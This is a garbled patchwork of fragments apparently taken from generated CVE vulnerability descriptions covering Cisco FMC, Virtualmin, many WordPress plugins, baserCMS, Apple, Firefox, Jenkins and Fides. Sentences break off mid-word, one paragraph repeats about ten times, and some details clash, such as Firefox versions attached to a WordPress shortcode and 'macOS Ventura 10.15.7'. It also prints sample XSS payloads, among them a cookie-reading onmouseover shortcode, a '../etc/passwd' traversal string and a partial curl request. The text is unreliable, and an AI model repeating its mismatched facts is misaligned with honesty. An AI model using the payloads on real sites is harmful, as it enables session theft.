[yAdvisory/cisco-sa-fmc-xss-sK2gkfvJ](#)

onfiguration setting. When a legitimate user subsequently accesses this part of the interface, the brow
n the web-based management interface.

ment interface, which then stores the malicious files in specific directories on the device.

ting arbitrary code with root privileges on the device.

[o-sa-ise-file-upload-FceLP4xs.](#)

ccess the web-based management interface of the Cisco ISE device and upload a specially crafted file t
e crafting an HTTP POST request to the web-based management interface that includes the malicious f
d, remote attacker to conduct a stored cross-site scripting (XSS) attack against a user of the affected de
s allows the execution of arbitrary script code or access to sensitive browser-based information.

can result in a temporary availability impact to portions of the FMC Dashboard.

stored on the server. When other users view the affected web pages, the injected scripts execute in th

[-sa-fmc-xss-sK2gkfvJ](#)

input is not properly escaped or validated, it can be executed in a legitimate user's browser when they
face, which lacks adequate input validation. When a legitimate user, such as an IT administrator, views
uld allow an unauthenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack aga
input, this can lead to arbitrary script code execution in the context of the interface or access to sensit
is also the potential to cause temporary availability impacts to portions of the FMC Dashboard.

nment or profile details. If this input is not properly sanitized by the application, it could be stored and
c-xss-sK2gkfvJ.

contain input fields where the user could enter data, which is then submitted to the vulnerable FMC interface. This could allow an unauthenticated, remote attacker to conduct a stored cross-site scripting (XSS) attack against the victim. First, the attacker could insert malicious script code which can then be executed in the context of the victim's browser without their consent. Second, the attacker could access sensitive information such as session tokens or configuration settings.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

This mechanism is used to bypass security measures like Content Security Policy (CSP).

The vulnerability was identified in the SolarWinds Web Console. An attacker could exploit this flaw to gain administrative access to the SolarWinds Web Console, allowing them to obtain sensitive information such as user credentials, network device configurations, and potentially other confidential information stored within the system.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

The vulnerability was discovered by a researcher from StarLabs SG. When the user visits a specific URL containing a malicious link, the server will respond with a 302 redirect to the Cisco FMC interface. If the user follows this link, the attacker's malicious script would execute, potentially stealing session tokens or performing other unauthorized actions.

lowing remote attackers to inject arbitrary web script or HTML through the 'Description' field when a user enters HTML content into the 'Description' field. This harmful payload is then stored on the server and can be

rs to malicious sites, and potentially the execution of unauthorized actions on the behalf of the user w

min. For instance, they could enter something like `<script>alert('XSS');</script>` in the field. If the input is not properly validated, administrators can perform input validation and output encoding to eliminate potential XSS attack vectors. However, this vulnerability still exists, and it allows remote attackers to inject arbitrary web script or HTML via the 'real name' or 'description'

's' section in Virtualmin. When a legitimate user accesses this section, the script executes in the user's browser context.

Templates in Virtualmin 7.7.

In the server template list or the specific template where the payload is stored, the script could execute in the 'Template name' field with an XSS payload such as `<script>alert('XSS');</script>` into the Template name field of the selected template.

This leads to a privilege escalation, potentially leading to the execution of the injected script in the context of the user's browser, redirection to malicious websites, or other unauthorized actions.

Attackers can exploit this by injecting malicious scripts into the 'Batch Label' field, which could then be triggered by another user. This allows remote attackers to inject arbitrary web script or HTML via the 'Batch Label' input field, such as: `https://victim-virtualmin-site.com/system-setting?cloudmin_setting=BatchLabel`

payloads to victim's browsers. The attacker could perform actions on behalf of the users or steal credentials.

Attackers can also exploit this vulnerability by injecting malicious scripts into the 'Plan name' field while creating new plans. This allows remote attackers to inject arbitrary web script or HTML into the Plan name field while creating new plans.

.7. When this injected code is saved and then rendered by a web browser, it can execute within the co
unt takeover if the circumstances allow.

e account plan detail. For instance, the attacker could use a script like `<script>alert('XSS');</script>` in

vices. The specific details of the crafted request are not provided, but it likely involves sending malfor
100%20-%20HTTP%20Denial-Of-Service.

lOO camera. By sending such requests, an attacker could overwhelm the camera, causing it to crash or
escalated to Remote Code Execution (RCE). This occurs when a malicious user uploads a specially craf

:ionalities to perform Server-Side Template Injection and potentially lead to Remote Code Execution.

A-fjhg-96cp-6fcw

promise, data theft, or further network infiltration. The attacker could leverage the vulnerability to ma

illy leading to the leakage of confidential information.

iment.

ation settings?>``This change ensures that error reporting does not display errors to the end-user, miti
Igniter. Since the detailed error report is displayed in the production environment, the attacker might
ng), the associated GitHub commit that addressed the issue (<https://github.com/codeigniter4/Codeigni>

: malicious SVG could execute JavaScript in the browsers of users who view the SVG, leading to potent

reter before outputting it back on the page. This vulnerability specifically affects the search area of a w

use the vulnerable EventPrime WordPress plugin. As a result, attackers could potentially manipulate the results or in the search area, the code could execute in their browser. This could lead to actions such as defacement, performing actions on behalf of the user, stealing sensitive information like session tokens, or properly sanitizing and escaping the output to prevent HTML Injection.

system.

I356-8567-b29dadb48423.

ge users, such as an administrator, to inject arbitrary web scripts into the site, even in situations where initialization to inject malicious scripts into the web page, which could be executed in the browser of any

p to and including 2.3.2. The issue arises due to insufficient input sanitization and output escaping on i

ntributor-level permissions in order to inject arbitrary web scripts.

ould lead to various malicious activities such as stealing cookies, hijacking sessions, redirecting users to through the 'ipushpull_page' shortcode. For instance, they might use a compromised account to edit what is injected, this code could be executed by any user who visits the infected page, leading to session hijacking. /trunk/public/class-ipushpull-public.php#L113- Wordfence threat intelligence vulnerabilities database refers to the insufficient sanitization of user-supplied input and insufficient escaping of output within the plugin. the script can be stored and will execute in the context of the user's browser when they access the page. It allows the attacker to access the backend and create or edit posts, which is necessary to embed the malicious

#L34 which likely includes the source code where the vulnerability exists. 2. Wordfence threat intellige

ions, changes in site content, theft of sensitive information, the spread of malware, and potentially full control. An attacker would add a shortcode to a post with a JavaScript alert in the 'attr' attribute. Due to insufficient input

emerges from the lack of proper input sanitization and output escaping, particularly within the 'iframe' shortcodes and potentially inject harmful scripts.

This leads to various malicious activities such as account takeover, data theft, and site defacement.

plugin repository tracing page.

In the forms plugin shortcode feature, this code would not be properly sanitized, allowing XSS attacks. Her

xploitation.

The context of the user's browser. This can lead to a range of issues, including session hijacking, defacement

[!-cross-site-scripting-xss-vulnerability?_s_id=cve](#)

not properly sanitized by the application, and this script is then stored and executed when other users administrators view the affected pages where the captcha is displayed, the injected script executes in tion issue present within the mail form of baserCMS, where a user could potentially execute arbitrary

hey could allow an attacker to execute arbitrary code and potentially take control of the affected syste

advisory at <https://github.com/baserproject/basercms/security/advisories/GHSA-vrm6-c878-fpq6>.
attacker's input may include PHP code or scripts that, when processed by the server, could be executed

erform unintended actions like creating, updating, or deleting content without the user's consent, pote

4c55433fead93e0be9df96fd28740f8047c8b6, and <https://github.com/baserproject/basercms/security>

it in versions prior to 4.8.0. This vulnerability could allow an attacker to access files and directories tha are not intended to be accessible via the web application.

und in the form submission data management feature of the application.

l files, source code, or even personal data stored on the system, which can lead to further attacks such e, and the GitHub security advisory page. Here are the direct links for more details: - <https://basercms>
ion data to include file paths such as '../etc/passwd', attempting to traverse the server's directory st
ecessary steps to apply the patch provided in version 4.8.0.

upload feature. This issue could allow malicious scripts to be executed in the context of the user's brow

er users, the script could execute within their browsers, potentially leading to unauthorized actions bei
commit on GitHub addressing the issue at '<https://github.com/baserproject/basercms/commit/eb5977>'.
potential open redirect vulnerability could allow attackers to reroute a user to malicious websites, comp

ts them to a malicious website, potentially leading to phishing attacks, malware infections, or other se
_US).

dress the vulnerability. They should also consult the advisory posted on the Micro Focus portal or seek
page. This page could mimic a real login portal, leading the user to input sensitive credentials which thi
on and output escaping on user-supplied attributes in the 'tcpaccordion' shortcode. This flaw affects all
ccordion' shortcode of the Accordion plugin. The malicious scripts will then execute whenever a user a

itches or follow the guidance from the plugin developers or security advisories.

dded JavaScript code. When another user, such as a site visitor or administrator, views this page, the e

ip?rev=2406278#L24- <https://plugins.trac.wordpress.org/changeset/2982015/accordions-wp#file370>

I to unauthorized actions being performed on behalf of the user, data theft, or redirecting the user to i
le attribute="" onload="alert('XSS')"] As a result of insufficient input sanitization and output escaping, v
dvisory from Wordfence, a security service for WordPress.

ze user-supplied attributes in the 'shortmenu' shortcode, allowing attackers with at least contributor-l

'w.wordfence.com/threat-intel/vulnerabilities/id/438b9c13-4059-4671-ab4a-07a8cf6f6122?source=cv
d JavaScript payload. For instance:[shortmenu param='<script>alert("XSS");</script>'] If this shortcode
m users who visit the compromised page. It could also be used to redirect visitors to malicious sites, d

sanitization and output escaping on user-supplied attributes within the 'spice_post_slider' shortcode.

esses an injected page, leading to potential theft of cookies, session tokens, or other sensitive informa

: plugin's code: [spice_post_slider attribute='<script>malicious_code()</script>'] The 'attribute' is not p
r who loads the page will have the script executed in their browser. This can lead to session hijacking,
latest version to ensure the vulnerability is patched.

sanitization and output escaping on user-supplied attributes within the 'buzzsprout' shortcode. This vul

er, potentially leading to data theft, session hijacking, or defacement of the website.

ence portal.

buzzsprout attribute=""><script>malicious_code_here()</script>"] This script could then get executed
also audit their sites for untrusted user-generated content that may have been injected due to this vul
quate input sanitization and output escaping. Versions up to and including 3.6.7 are affected by this vu
ecuted when a user accesses the page containing the malicious script.

r, access to sensitive information, and the compromise of the integrity of the affected pages.

rences include '<https://plugins.trac.wordpress.org/browser/fareharbor/tags/3.6.7/fareharbor.php#L2>
WordPress and the malicious page is viewed by other users, the embedded script executes in their br

ind including version 1.4.2. It arises due to insufficient input sanitization and output escaping on user-s

ent to other users without proper sanitization or escaping.

a malicious shortcode, which due to improper sanitization, may save and execute arbitrary JavaScript.

:moving the plugin until a security update is released. Regularly auditing user permissions and educating the following URLs:- <https://plugins.trac.wordpress.org/browser/bellows-accordion-menu/tags/1.4.2>,ous JavaScript snippet such as `<script>alert('XSS')</script>`, which they would add to a post or a page due to insufficient input sanitization and output escaping, specifically within the 'rafflepress' and 'raff using the 'giframe' user supplied attribute in the vulnerable shortcodes. These scripts can then be executed to lead to activities such as account takeover, data theft, or spreading malware to other users.

or cannot inject the malicious scripts via the shortcodes since the attack is based on Stored XSS.

press.php#L796- <https://plugins.trac.wordpress.org/browser/rafflepress/tags/1.11.4/app/rafflepress.js>

d after version 1.12.0. It's important to keep the plugin and WordPress itself updated to the latest versions [rafflepress giframe="" onmouseover='alert(document.cookie)']. When an unsuspecting user hovers over the controls. The flaw involves the manipulation of the 'Server' argument, leading to improper authentication. This can compromise the authentication mechanism and grant the attacker unauthorized access. There are steps to mitigate this vulnerability.

ty. It's important to always keep software updated to the latest versions to protect against known vulnerabilities. <https://wpvulndb.com/?id=243729>.

cess to the system, which can lead to further exploitation such as data theft, unauthorized modification of authentication controls. It could potentially lead to full system compromise if the vulnerability is chained with others.

kie validation on the Access Controller, relying only on Basic Authentication for the SSH console.

023-35794-WebSSH-Hijacking) and [<https://www.cassianetworks.com/products/iot-access-controller/>]

he attacker to execute commands as if they were an authenticated user and might result in unauthorized access.

ate, the attacker could directly access the Web SSH interface. From there, the attacker might run commands to gain unauthorized access to the system.

ases/tag/basercms-4.8.0- <https://github.com/baserproject/basercms/security/advisories/GHSA-8vqx-f>. S. When this input is rendered without proper sanitization, the attacker's code could be executed in the browser.

d potentially obtain a local Windows OS user token and use that token to log into the FactoryTalk® Service using the same OS user token. This token could then be used to gain unauthorized access to the FactoryTalk® Service.

on.

[view/a_id/1141165](#).

This Platform. If the system detects that no prior legitimate login has occurred, the attacker might then e

uses, and redirecting users to malicious sites.

XSS vulnerability in CVE-2023-46394.

This (XSS) vulnerability which arises from insufficient input sanitization and output escaping on user-supplied using the 'vk_filter_search' shortcode, an attacker can inject executable scripts into the website's pa

ind delivery of malicious content to users. The extent of the damage depends on the nature of the inj any updates on a potential fix and apply it if available. Additionally, they should monitor the official pl tly. If no patch is available, administrators should consider disabling or removing the plugin until a fix i NerdPress plugin. This oversight allows an attacker to insert malicious scripts that are subsequently st tack vectors mentioned that would allow an unauthenticated user to exploit this particular vulnerabilit escaping on user-supplied attributes specifically the 'color' attribute within the plugin's 'neontext_bo

ating the 'color' attribute. When a user accesses a page containing the malicious script, the script will i

ns, defacing website pages, redirecting users to malicious sites, or performing actions on behalf of the i

erability report. These references provide further information and context on the vulnerability.

that contains XSS payloads. This payload would remain stored in the website's content, leading to the

fficient input sanitization and output escaping on user-supplied attributes. This vulnerability allows au rs plugin.

ons such as stealing session tokens or login credentials, defacing the website, or delivering malware to gle Drive link documenting the issue, the changeset on the WordPress plugin repository, and a dedicat s change log or track updates through the WordPress plugin repository to ensure they have applied th dPress page or post editor that contains malicious JavaScript encapsulated in tags, such as `<script>ale tten include security patches. It's also crucial to use security plugins that can provide firewall and malw ity allows attackers who have administrative privileges or higher to inject malicious scripts into web pa

erly handled. For example, they could place the script in a configuration field that is reflected and exec ent permissions visits the affected page in the WordPress dashboard, the script executes in their brow -scripting-xss-vulnerability?_s_id=cve

ot been listed or may not be available yet.

There is a settings page in the WordPress admin panel for the LionScripts.Com Webmaster Tools plugi

tcodes due to insufficient input sanitization and output escaping on the 'form_id' user supplied attribute in the shortcode. This can lead to reflected XSS attacks.

The vulnerability database entry that discusses the vulnerability in detail. It describes a malicious shortcode like '[callrail_form form_id="" onclick="alert("XSS")" form_id=""]', which, when inserted into the application, bypasses validity checks to verify those requests. This flaw can be exploited by attackers, allowing them to craft malicious URLs.

The application interface. Since the application does not validate the requests correctly, the attacker can craft malicious URLs. This is detailed in the ICSA-23-299-08 report. Additionally, information might be available on the Sielco website at <https://www.sielco.com>.

A web application vulnerable to CSRF as described by CVE-2023-45317, an attacker could set up a malicious directory traversal local file inclusion issue of medium criticality, which can be exploited by an attacker to circumvent normal file access controls and access files that are readable by the web server user 'nobody'.

Attackers can interact with the ScormAicc module where the vulnerability lies.

such as those containing database credentials, as well as any documents and resources located outside the system. Permissions should be reviewed to ensure that only necessary privileges are granted to user accounts. The exposed information could include user data, system configuration details, or proprietary company information within the ILIAS system.

A vulnerability affecting versions up to and including 1.0.15. Reflected XSS vulnerabilities allow an attacker to exploit the application. The context in which they can be exploited, the need for user interaction, and the potential impact on affected users.

Attackers can exploit this vulnerability by crafting a malicious URL and sending it to a victim. The URL would look something like this: 'http://example.com/wp-content/plugins/wdsocialwidgets/press-wdsocialwidgets-plugin-1-0-15-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve'. This exploit can damage the organization's reputation, redirecting users to phishing sites, or performing malicious actions within the system. Regular updates and patches are recommended to prevent such attacks.

These patches are available on Apple's support website.

Processed by a vulnerable system or application, such as an outdated version of Safari or iOS, this could lead to security issues. Attackers responsible for fixing the issue will review code examples in a controlled environment to understand the issue. The issue was fixed in macOS Sonoma 14.1, macOS Monterey 12.7.1, and macOS Ventura 10.15.7.

For more information and mitigation guidance, please refer to the following URLs:

Attackers can use this exploit to bypass security restrictions and access sensitive user data, which is not intended to be shared. For more information, please refer to the Common Vulnerability Scoring System (CVSS) details on a relevant security database or the National Vulnerability Database (NVD).

scenario where a malicious website could manipulate symlink resolution. For example, the website initially leading to user interface spoofing. Apple addressed the problem with improved state management.

in the user's device, possibly tricking the user into disclosing sensitive information or making unintended changes. <https://support.apple.com/en-us/HT213984>

User visits this website, the attacker could leverage the user interface spoofing vulnerability to trick the user into interacting with the spoofed interface.

Security advisory.

ould cause the application to crash, resulting in a denial-of-service condition. This could be used to disrupt the user's browsing session.

disclosure/2023/Oct/24, <https://support.apple.com/en-us/HT213981>, and <https://support.apple.com/en-us/HT213982>. The website could use the caching issue to retrieve details of the user's browsing history, potentially exposing the user to privacy violations.

The website could use the caching issue to retrieve details of the user's browsing history, potentially exposing the user to privacy violations.

the references section of the CVE details.

On a vulnerable device, the attacker could potentially execute arbitrary code on the device in the context of the user's session.

<https://support.apple.com/en-us/HT213983>. This could potentially lead to unauthorized eavesdropping or recording of private conversations with other users. This issue was addressed by Apple through improved memory handling measures.

ing systems and software.

to compromising the security and integrity of the system.

Memory handling issue to execute arbitrary code. This could occur when a user visits a compromised website.

luding 1.5.3. The vulnerability arises due to insufficient input sanitization and output escaping, allowing a user to press page using the vulnerable plugin, any user who accesses the infected page may have those script

s' shortcode provided by the Reusable Text Blocks plugin to inject the malicious script.

<https://plugins.trac.wordpress.org/browser/reusable-text-blocks/tags/1.5.3/text-blocks.php#L319> - Description: This has been released, consider deactivating and removing the plugin until an update is provided. Furthermore, users can use the 'vsgmap' shortcode to insert a malicious script. When other users, including site administrators, visit the page, they will be exposed to the injected script.

This is due to inadequate input sanitization and output escaping on user-supplied attributes within the 'vsgmap' shortcode of the plugin.

it sanitization and output escaping on user-supplied attributes within the 'vsgmap' shortcode of the plugin.

ous scripts through the 'vsgmap' shortcode attributes. When a user accesses a page containing the injected script, the attribute='<script>alert("XSS");</script>' value is passed directly to the 'vsgmap' shortcode. Since the plugin does not properly sanitize input, this malicious script is executed in the user's browser.

ititionally, it's also recommended to audit user roles and permissions to ensure that only trusted users can access the plugin.

https://plugins.trac.wordpress.org/browser/very-simple-google-maps/trunk/very-simple-google-maps.php?rev=2941389#L22-45 - Description: This issue affects versions of Firefox 115.4.1, Firefox ESR version 115.4, and Thunderbird version 115.4.1. The 'messenger' shortcode is used to display a message in the user's browser. This is due to inadequate input sanitization and output escaping, allowing a user to inject malicious JavaScript code into the message.

This is possible because of insufficient input sanitization and output escaping, causing the scripts to execute in the user's browser. This can lead to session takeover, and other malicious activities performed by running JavaScript in the users' browsers.

https://plugins.trac.wordpress.org/browser/wp-facebook-messenger/trunk/frontend_shortcode.php#L22-45 - Description: This issue affects versions of Firefox 115.4.1, Firefox ESR version 115.4, and Thunderbird version 115.4.1. The 'messenger' shortcode is used to display a message in the user's browser. This is due to inadequate input sanitization and output escaping, allowing a user to inject malicious JavaScript code into the message.

45/.

<https://www.mozilla.org/security/advisories/mfsa2023-45/> - Description: This issue affects versions of Firefox 115.4.1, Firefox ESR version 115.4, and Thunderbird version 115.4.1. The 'messenger' shortcode is used to display a message in the user's browser. This is due to inadequate input sanitization and output escaping, allowing a user to inject malicious JavaScript code into the message.

cgi?id=1823720. This issue is currently tracked by Mozilla's Bugzilla system (CVSS) at this time.

reen mode and presents a fake WebAuthn prompt that mimics a legitimate login page. The user, not noticing the difference, enters their credentials into the fake prompt, which are then captured by the attacker.

This is possible because of insufficient input sanitization and output escaping, causing the scripts to execute in the user's browser. This can lead to session takeover, and other malicious activities performed by running JavaScript in the users' browsers.

<https://www.mozilla.org/security/advisories/mfsa2023-46/> - Description: This issue affects versions of Firefox 115.4.1, Firefox ESR version 115.4, and Thunderbird version 115.4.1. The 'messenger' shortcode is used to display a message in the user's browser. This is due to inadequate input sanitization and output escaping, allowing a user to inject malicious JavaScript code into the message.

This issue is currently tracked by Mozilla's Bugzilla system (CVSS) at this time.

otification look like a legitimate one, tricking the user into performing undesired actions, such as providing sensitive information or clicking on malicious links. This can lead to session takeover, and other malicious activities performed by running JavaScript in the users' browsers.

s (dsa-5535, dsa-5538), and related discussions in the Debian mailing lists. Bug details can also be reviewed to open arbitrary web addresses without the user's consent or knowledge. This could be used to exploit browser APIs to open up arbitrary URLs without user permission. The specific exploit code would depend

s due to insufficient input sanitization and output escaping on the 'icon' user-supplied attribute. This applies to some plugin.

An example of a malicious shortcode that could exploit this vulnerability might be something that could steal cookies, session tokens, or login credentials; redirect users to malicious websites; or update the latest version available, which would presumably include a fix for this vulnerability.

Then insert this shortcode into a post or page on the WordPress site. When another user (such as a site administrator) views the page, they will see the injected content. You can visit <https://plugins.trac.wordpress.org/browser/wp-fontawesome/trunk>, and Wordfence Threat Intel vulnerability page (<https://wpwordfence.com/threat-intel/vulnerabilities/2019-03-003/>), arising from the inadequate sanitization of input and escaping of output for user-supplied attributes.

Accesses the injected page.

icious JavaScript as an attribute value. When any other user, except an administrator, views the affected page, they will see the injected content. You can visit <https://plugins.trac.wordpress.org/browser/delete-category-dropdown/trunk>, and Wordfence Threat Intel vulnerability page (<https://wpwordfence.com/threat-intel/vulnerabilities/2019-03-004/>), arising from the inadequate sanitization of input and escaping of output for user-supplied attributes.

'category-dropdown' shortcode.

value="load="alert(1) ""). When a user visits a page with this shortcode, the script would be executed in their browser. An attacker with the necessary permissions could embed malicious JavaScript code into Wordpress pages using <https://plugins.trac.wordpress.org/browser/bsk-pdf-manager/trunk/classes/shortcodes/category/category-dropdown.php>?ranging from 0.4.0 to 0.4.1. The vulnerability stems from insufficient input sanitization and output escaping. Attackers with at least contributor-level access can exploit this weakness to inject and execute malicious code.

This means a malicious actor can inject JavaScript code that can be executed in the browsers of other users.

The repository can be examined at <https://plugins.trac.wordpress.org/browser/advanced-menu-widget/trunk>. The Advanced Menu Widget plugin. By inserting JavaScript code as part of the shortcode attributes, the attack involves bypassing the token check. The attack involves bypassing the token check by providing a non-matching webhook token hash. This could allow attackers to trigger actions on behalf of other users.

The attack involves bypassing the token check by providing a non-matching webhook token hash. This could allow attackers to trigger actions on behalf of other users.

sue is resolved. Following best security practices, keeping software up to date to include security patch

3-10-25/#SECURITY-2879

a non-constant time comparison function, the time measurements could reveal information about the stored cross-site scripting (XSS) vulnerability that can be exploited by attackers with Item/Configure

3-10-25/#SECURITY-3247

views the build page, the malicious script would execute in their browser. This could lead to session hijacking. If an attacker enters this into the Trac website URL field. Due to the lack of proper escaping, when the build page is

allow attackers to statistically analyze the comparison time to guess a valid webhook token.

ccessful exploitation could give unauthorized users the ability to trigger actions in Jenkins, for example:

```
!Token(String providedToken, String expectedToken) { if (providedToken.length() != expectedToken.length()) { ... } }
```

Security Advisory: <https://www.jenkins.io/security/advisory/2023-10-25/#SECURITY-2876>

pected token are equal. This could potentially allow attackers to use statistical methods to obtain a valid webhook token.

5/#SECURITY-2896'.

ne it takes for the server to respond, the attacker might detect a pattern or difference when the correct or manipulate the Jenkins system by triggering unauthorized webhook-based operations.

nd expected webhook token are equal. This could allow attackers to potentially use statistical methods to exploit the vulnerability.

es in the server's response to various incorrect tokens, an attacker could perform a timing attack, disclosed in the Jenkins Security Advisory: <https://www.jenkins.io/security/advisory/2023-10-25/#SECURITY-2875>.

in isEqual(String a, String b) { if (a.length() != b.length()) { return false; } for (int i = 0; i < a.length(); i++) { ... } } could potentially result in weaker than expected security. This issue has been recognized by IBM and is also documented in the IBM Security Advisory: <https://www.ibm.com/support/pages/node/7058356>.

This could allow attackers to exploit the vulnerability, possibly leading to unauthorized access or information disclosure. This issue has been identified in the IBM Security Advisory: <https://www.ibm.com/support/pages/node/7058356>. Attackers could gain access to resources beyond their privilege level. Consequently, this could lead to data breaches, session hijacking, and other security incidents.

turn) or LF (Line Feed) characters followed by a significant amount of data that does not contain these characters from potential exploitation of this issue.

usage, leading to the application being unable to handle legitimate requests efficiently. 9 bytes of data without these characters. This malformed data is then processed by the Werkzeug library [/werkzeug/commit/f3c803b3ade485a45f12b6d6617595350c0f03e2](https://werkzeug/commit/f3c803b3ade485a45f12b6d6617595350c0f03e2). Werkzeug's own security advisory states that excessive CPU resources while trying to process the specially crafted multipart data, leading to service disruption. REST API endpoints to retrieve hashed user passwords from the database when using the `?depth` parameter were manipulated in a way to expose additional data, the hashed passwords of users stored in the database could be modified. By doing so, they could retrieve the hashed passwords. If these hashes are cracked, attackers could perform actions under the guise of legitimate users, possibly causing sensitive information through the REST API endpoints to address the issue. Although specific details are not provided, the patch, and the official security advisory, which should detail the changes made to repair the vulnerability.

environments, which includes the feature to edit consent and privacy notices. This vulnerability enables

privacy policy URL field. When another user views the privacy notice, the crafted JavaScript would execute at <https://github.com/ethyca/fides/commit/3231d19699f9c895c986f6a967a64d882769c5062>. The release notes of Fides mention that JavaScript runs within the domain scope of the integrated website, potentially leading to the execution of privacy policy URLs and could potentially insert a malicious script that leads to JavaScript execution.

This vulnerability was found in the Fides webserver API, specifically the `GET api/v1/config` endpoint accessible to users with insufficient privileges. Users of Fides are recommended to update to this version. A database username. Such information should be kept confidential as it can give attackers insights into potential attacks. An attacker could craft targeted phishing attacks, attempt to exploit known vulnerabilities within the application. The issue at <https://github.com/ethyca/fides/commit/c9f3a620a4b4c1916e0941cb5624dcd636f06d06>, and protect sensitive configuration data from being accessed by unauthorized users.

gation to be uploaded as a ZIP file containing YAML files, which could be crafted by a malicious user to include crafted content that enables a malicious user to make network requests from the server to internal resources. A disclosed SSRF vulnerability.

to block attempts to connect to and send requests to internal resources. Users should update to this fix. Please refer to the following links for detailed information:- Security Advisory: <https://github.com/ethyca/fides/commit/c9f3a620a4b4c1916e0941cb5624dcd636f06d06>. An attacker may craft YAML files with entries that manipulate the Fides application's mechanisms for handling URLs, configuration management interfaces, or file servers. The attacker may use this SSRF vulnerability to intercept messages exchanged over MQTT between the client and HMI device that can be compromised by reverting messages to the HMI device to execute arbitrary commands on it.

t.

d Client and server side web application.

by exploiting the hard-coded encryption key vulnerability, sends specially crafted messages to the device and including 1.0.18. It allows attackers with administrative or higher-level privileges to inject malicious

n-1-0-18-cross-site-scripting-xss?_s_id=cve.

and Form plugin is installed. Without such access, the attacker cannot store the malicious script required to affect other users, such as site visitors or lesser-privileged admin users, view the affected pages, the malicious

g Service (WPS) specification, which could be exploited to perform a Server Side Request Forgery (SSRF) attack. This could allow an attacker to send requests from the GeoServer to unpatched versions or later to mitigate the risk.

rnal services within the network. This could lead to sensitive information leaks, bypassing of network security/advisories/GHSA-5pr3-m5hm-9956. The security advisory likely provides detailed information about potential SSRF attacks leveraging this vulnerability.

commands on the host underlying the application, leading to potential partial system compromise. This vulnerability allows an attacker to run arbitrary commands on the server as a non-privileged user.

, but depending on the commands executed, it could potentially escalate to a complete system takeover.

\-PSA-2023-016.txt

ent interface of ClearPass Policy Manager and inject or execute commands that could lead to data exfiltration.

ClearPass Policy Manager.

notifications to computers with ClearPass OnGuard installed. These notifications could be used for phising

.txt.

ers might divulge sensitive information, or tricking users into downloading and installing malware on their

orm state-changing actions that are not authorized by their current level of access.

the system.

\-PSA-2023-016.txt.

s to perform unauthorized actions such as modifying user privileges, altering network policies, or disrupting the system. An attacker could use this feature to perform SQL injection attacks, potentially compromising the ClearPass Policy Manager configuration.

information in the database, thereby potentially leading to a complete compromise of the ClearPass Policy Manager. By exploiting SQL injection, these queries could be designed to bypass normal security checks and manipulate the underlying database.

d valid credentials or another method of bypassing authentication in order to perform the SQL injection. They could do this through phishing, or by exploiting other vulnerabilities. Once inside, they could then leverage the SQL injection feature at the /core/" endpoint, which could potentially allow attackers to manipulate webpage links, redirect user

users to arbitrary or malicious sites, potentially leading to phishing attacks, malware distribution, or unauthorised attacks aimed at stealing user information, distribution of malware, and gaining unauthorized access.

/FM-Host-Header-Injection-CVE-2023-36085.

endpoint with a modified Host header. This could be done via curl, like this: ```bashcurl -i -s -k -X '\$GET' \`ue. Additionally, server configurations might be adjusted to validate or sanitize the Host header to prevent execution of arbitrary scripts in the context of a user's browser session.

35b33 - <https://github.com/Combodo/iTop/commit/b8f61362f570e1ef8127175331012b7fc8aba802> A user can upload files to the compromised area of the application, the malicious script could execute within the user's browser session when displaying the `pages/preferences.php` page. This vulnerability could allow an attacker to inject malicious code into the `preferences.php` page.

This commit at <https://github.com/Combodo/iTop/commit/e3ba826e5dfd3b724f1ee97bebfd20ded3c70b10>. An attacker can upload malicious scripts in the context of the user's session, leading to actions performed under the user's privileges. For instance, if a user is logged into iTop, the script could execute with the user's privileges. For instance, it could steal session cookies or allow unauthenticated attackers to retrieve any file present on the web server.

and potentially further exploitation if other sensitive data such as credentials, configuration files, or configuration files on the server's filesystem. For example, an attacker might use a directory traversal character sequence to gain access to sensitive files on the server.

To protect against exploitation. Additionally, organizations should consider reviewing access controls and file upload policies to restrict users from uploading files such as ASP or ASPX to the web root, leading to the possibility of executing commands with elevated privileges and unauthorized command execution and compromising the server.

directory of the server. Once uploaded, the attacker could navigate to the file's URL to execute the script.

This exploit could lead to various outcomes, including server defacement, server takeover, deployment of malware, and potential lateral movement within the network.

An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the server. The request must contain a file with malicious code, such as a shell or a payload, which will be executed with root privileges on the underlying operating system.

The exploit can be used to gain full control over the target system, allowing the attacker to modify system configurations, access sensitive data, and create new accounts with administrative rights.

The exploit can be used to gain full control over the target system, allowing the attacker to modify system configurations, access sensitive data, and create new accounts with administrative rights. The exploit can be used to gain full control over the target system, allowing the attacker to modify system configurations, access sensitive data, and create new accounts with administrative rights.

